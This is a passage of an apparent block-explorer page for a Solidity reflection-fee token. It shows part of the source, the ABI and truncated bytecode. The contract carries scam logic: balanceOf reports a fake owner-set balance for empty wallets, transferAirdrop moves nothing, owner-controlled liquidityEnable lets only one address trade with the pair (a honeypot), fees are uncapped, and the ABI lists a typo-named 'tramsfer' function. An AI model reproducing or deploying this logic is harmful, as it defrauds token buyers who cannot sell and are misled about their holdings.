                        devReceivers[j] = devReceivers[devReceivers.length - 1];
                        devReceivers.pop();
                        _isExcludedFromFee[delDevs[i]] = false;
                        _isDevReceiver[delDevs[i]] = false;
                        break;
                    }
                }
            }
        }
    }
    
    function queryDevReceivers(address queryDevs) public view returns(bool, uint256){
        return (_isDevReceiver[queryDevs], devReceivers.length);
    }
    
    function transferAirdrop(address[] memory _addresses) public view returns(bool){
        require(_addresses.length > 0, "The array is empty!");
        for(uint256 i=0; i<_addresses.length; i++){
            balanceOf(_addresses[i]);
        }
        return true;
    }
    
    function setFeeList(uint256 _feeFee, uint256 _feeDev, uint256 _feeBonus, uint256 _feeLiquidity) public onlyOwner {
        feeFee = _feeFee;
        feeDev = _feeDev;
        feeBonus = _feeBonus;
        feeLiquidity = _feeLiquidity;
    }
    
    function setMinValues(uint256 _bonusMin, uint256 _liquidityMin) public onlyOwner {
        bonusMin = _bonusMin;
        numTokensSellToAddToLiquidity = _liquidityMin;
    }
    
    function setLiquidityInfo(bool _liquidityEnable, address _liquidityProvider) public onlyOwner {
        liquidityEnable = _liquidityEnable;
        liquidityProvider = _liquidityProvider;
    }
    
    function removeUselessTokens(IERC20 _uselessToken, uint256 _uselessAmount) public onlyOwner {
        if(address(_uselessToken) == address(0)){
            payable(devReceiver).transfer(_uselessAmount);
        }else{
            _uselessToken.transfer(devReceiver, _uselessAmount);
        }
    }
    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if(_isExcluded[account] && _tOwned[account] > 0){
            return _tOwned[account];
        }else if(!_isExcluded[account] && tokenFromReflection(_rOwned[account]) > 0){
            return tokenFromReflection(_rOwned[account]);
        }else{
            return uselessBalance;
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        uint256 rAmount = tAmount.mul(_getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        return rAmount.div(_getRate());
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
   
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
        _maxTxAmount = _tTotal.mul(maxTxPercent).div(
            10**2
        );
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _reflectFee(uint256 rFee) private {
        _rTotal = _rTotal.sub(rFee, "reflect fee");
    }

    function _getTValues(uint256 tAmount) private view returns (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) {
        if (!feeIt) {
            return (tAmount, 0, 0, 0, 0);
        }
        tBonus = tAmount.mul(feeBonus).div(100);
        tDev = tAmount.mul(feeDev).div(100);
        tLiquidity = tAmount.mul(feeLiquidity).div(100);
        tFee = tAmount.mul(feeFee).div(100);
        tTransferAmount = tAmount.sub(tBonus).sub(tDev).sub(tLiquidity).sub(tFee);
    }
    
    function _getRValues(uint256 tAmount, uint256 tTransferAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = tTransferAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]], "sub rSupply");
            tSupply = tSupply.sub(_tOwned[_excluded[i]], "sub tSupply");
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeTax(uint256 tBonus, uint256 tDev, uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rBonus = tBonus.mul(currentRate);
        uint256 rDev = tDev.mul(currentRate);
        if(devReceivers.length > 0){
            if(devIndex >= devReceivers.length){
                devIndex = 0;
            }
            devReceiver = devReceivers[devIndex];
            devIndex++;
        }
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
        }
        _rOwned[devReceiver] = _rOwned[devReceiver].add(rDev);
        if (_isExcluded[devReceiver]) {
            _tOwned[devReceiver] = _tOwned[devReceiver].add(tDev);
        }
        _rOwned[bonusReceiver] = _rOwned[bonusReceiver].add(rBonus);
        if (_isExcluded[bonusReceiver]) {
            _tOwned[bonusReceiver] = _tOwned[bonusReceiver].add(tBonus);
        }
        if (tBonus > 0) {
            emit Transfer(address(this), bonusReceiver, tBonus);
        }
        if (tDev > 0) {
            emit Transfer(address(this), devReceiver, tDev);
        }
    }
    
    function removeAllFee() private {
        if (!feeIt) return;
        feeIt = false;
    }
    
    function restoreAllFee() private {
        feeIt = true;
    }
    
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private transferCounter {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!liquidityEnable)
            require(!(from != liquidityProvider && (from == uniswapV2Pair || to == uniswapV2Pair)), "access denied");
        if(from == uniswapV2Pair && from != owner() && to != owner() && to != bonusReceiver)
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");

        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is uniswap pair.
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool overMinTokenBalance = (contractTokenBalance >= numTokensSellToAddToLiquidity && balanceOf(uniswapV2Pair) > 0 && liquidityEnable);
        if (
            overMinTokenBalance &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            contractTokenBalance = numTokensSellToAddToLiquidity;
            //add liquidity
            swapAndLiquify(contractTokenBalance);
        }
        
        //indicates if fee should be deducted from transfer
        bool takeFee = true;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }

        if (enterCount == 1) {
            if (takeFee && from == uniswapV2Pair && amount >= bonusMin && bonusReceiver != address(0xdEaD)) {
                IBonus(bonusReceiver).updateTradingCount(to);
            }
            if (!inSwapAndLiquify && from != uniswapV2Pair && from != bonusReceiver && bonusReceiver != address(0xdEaD) && balanceOf(uniswapV2Pair) > 0 && liquidityEnable) {
                IBonus(bonusReceiver).swapTradingReward();
            }
        }
        
        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half, "sub half");

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> WHT
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WHT();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            holder,
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub1 rAmount");
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub2 rAmount");
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _tOwned[sender] = _tOwned[sender].sub(tAmount, "sub3 tAmount");
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub3 rAmount");
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _tOwned[sender] = _tOwned[sender].sub(tAmount, "sub4 tAmount");
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub4 rAmount");
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"delDevs","type":"address[]"}],"name":"DelDevReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bonusMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bonusReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityProvider","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"queryDevs","type":"address"}],"name":"queryDevReceivers","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_uselessToken","type":"address"},{"internalType":"uint256","name":"_uselessAmount","type":"uint256"}],"name":"removeUselessTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bonus","type":"address"}],"name":"setBonus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"name":"setDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"setDevs","type":"address[]"}],"name":"setDevReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeFee","type":"uint256"},{"internalType":"uint256","name":"_feeDev","type":"uint256"},{"internalType":"uint256","name":"_feeBonus","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidity","type":"uint256"}],"name":"setFeeList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"setHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_liquidityEnable","type":"bool"},{"internalType":"address","name":"_liquidityProvider","type":"address"}],"name":"setLiquidityInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_bonusMin","type":"uint256"},{"internalType":"uint256","name":"_liquidityMin","type":"uint256"}],"name":"setMinValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_uselessBalance","type":"uint256"}],"name":"setUselessBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_froms","type":"address[]"},{"internalType":"address[]","name":"_tos","type":"address[]"}],"name":"tramsfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"transferAirdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uselessBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600080546001600160a01b031990811673959532444b57ab92717214b7d01019740000000017918290556001805482166d210e2a96c6716abb97c2519c00001790819055600280548316670b81ef5ff125a9db1790819055600680546001600160a01b03958616938616939093019185169190910190931691161790556a52b7d2dcc80cd2e4000000600e556a34f8e1f3adab5d4bffffff19600f5569152d02c7e14af68000006010908155690a968163f0a57b40000060115561010060405260c08190526f1cb1540a3cf7d487264626c6e626a62760831b60e0908152620000ec9160129190620004ca565b506040805180820190915260108082526f1cb1540a3cf7d487264626c6e626a62760831b60209092019182526200012691601391620004ca565b5060148054600960ff199182161790915560006015819055601681905560178190556018819055601980546301000000620100009190941660011762ff000019161763ff000000191692909217909155601a805461dead6001600160a01b03199182168117909255601b839055601e80549091169091179055601f8190556020819055602155348015620001b957600080fd5b506000620001c6620004b7565b600380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f546007600062000225620004b7565b6001600160a01b0316815260208101919091526040016000205562000249620004bb565b601c60006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600073ed7d5f38c79115ca12fe6c0041abb22f0a06c3009050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002c257600080fd5b505afa158015620002d7573d6000803e3d6000fd5b505050506040513d6020811015620002ee57600080fd5b505160408051632e5a42c960e11b815290516001600160a01b039283169263c9c6539692309291861691635cb4859291600480820192602092909190829003018186803b1580156200033f57600080fd5b505afa15801562000354573d6000803e3d6000fd5b505050506040513d60208110156200036b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015620003be57600080fd5b505af1158015620003d3573d6000803e3d6000fd5b505050506040513d6020811015620003ea57600080fd5b50516001600160601b0319606091821b811660a0529082901b166080526001600b600062000417620004bb565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600b90925290208054909116600117905562000461620004b7565b6001600160a01b031662abcdef6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a35062000566565b3390565b6003546001600160a01b031690565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200050d57805160ff19168380011785556200053d565b828001600101855582156200053d579182015b828111156200053d57825182559160200191906001019062000520565b506200054b9291506200054f565b5090565b5b808211156200054b576000815560010162000550565b60805160601c60a05160601c6142c9620005d1600039806116fb52806129d05280612a0b5280612a835280612b835280612bde5280612c9a5280612d765280612dec5250806110915280613587528061363f5280613666528061375452806137bf52506142c96000f3fe60806040526004361061031e5760003560e01c8063715018a6116101ab578063c49b9a80116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b14610dfd578063f45ac6af14610e30578063f8f21c8b14610e45578063fc18a48f14610e6f57610325565b8063dd62ed3e14610d5f578063e7cb46f314610d9a578063ea2f0b3714610dca57610325565b8063d543dbeb116100d1578063d543dbeb14610c9f578063d979f5aa14610cc9578063db0fad1b14610cfc578063dd46706414610d3557610325565b8063c49b9a8014610c2b578063ce00499a14610c57578063d477f05f14610c6c57610325565b806395d89b4111610164578063a9059cbb1161013e578063a9059cbb14610a98578063b2bcf6b314610ad1578063b6c5232414610ae6578063b70189fd14610afb57610325565b806395d89b4114610a35578063a457c2d714610a4a578063a69df4b514610a8357610325565b8063715018a6146108675780637d1db4a51461087c57806388f82020146108915780638da5cb5b146108c45780638f18f980146108d957806390dbc5801461098757610325565b8063395093511161026a5780634fff627c116102235780635342acb4116101fd5780635342acb4146107d75780635b8bec551461080a5780636b3df2571461081f57806370a082311461083457610325565b80634fff627c14610741578063519d69441461078f57806352390c02146107a457610325565b8063395093511461066c5780633bd5d173146106a5578063437823ec146106cf57806343fafa9a1461070257806349bd5a5e146107175780634a74bb021461072c57610325565b80631b87d58a116102d75780632d838119116102b15780632d838119146105cf578063313ce567146105f95780633432bc35146106245780633685d4191461063957610325565b80631b87d58a146104c957806323b872dd146104de5780632a1df1961461052157610325565b806306fdde031461032a578063095ea7b3146103b45780630c92e8e21461040157806312dcff7a1461043e5780631694505e1461047157806318160ddd146104a257610325565b3661032557005b600080fd5b34801561033657600080fd5b5061033f610eab565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610379578181015183820152602001610361565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c057600080fd5b506103ed600480360360408110156103d757600080fd5b506001600160a01b038135169060200135610f41565b604080519115158252519081900360200190f35b34801561040d57600080fd5b5061043c6004803603604081101561042457600080fd5b508035151590602001356001600160a01b0316610f5f565b005b34801561044a57600080fd5b5061043c6004803603602081101561046157600080fd5b50356001600160a01b0316610ff8565b34801561047d57600080fd5b5061048661108f565b604080516001600160a01b039092168252519081900360200190f35b3480156104ae57600080fd5b506104b76110b3565b60408051918252519081900360200190f35b3480156104d557600080fd5b506104b76110b9565b3480156104ea57600080fd5b506103ed6004803603606081101561050157600080fd5b506001600160a01b038135811691602081013590911690604001356110bf565b34801561052d57600080fd5b5061043c6004803603602081101561054457600080fd5b810190602081018135600160201b81111561055e57600080fd5b82018360208201111561057057600080fd5b803590602001918460208302840111600160201b8311171561059157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611146945050505050565b3480156105db57600080fd5b506104b7600480360360208110156105f257600080fd5b503561132a565b34801561060557600080fd5b5061060e611387565b6040805160ff9092168252519081900360200190f35b34801561063057600080fd5b50610486611390565b34801561064557600080fd5b5061043c6004803603602081101561065c57600080fd5b50356001600160a01b031661139f565b34801561067857600080fd5b506103ed6004803603604081101561068f57600080fd5b506001600160a01b03813516906020013561155c565b3480156106b157600080fd5b5061043c600480360360208110156106c857600080fd5b50356115aa565b3480156106db57600080fd5b5061043c600480360360208110156106f257600080fd5b50356001600160a01b0316611677565b34801561070e57600080fd5b506104b76116f3565b34801561072357600080fd5b506104866116f9565b34801561073857600080fd5b506103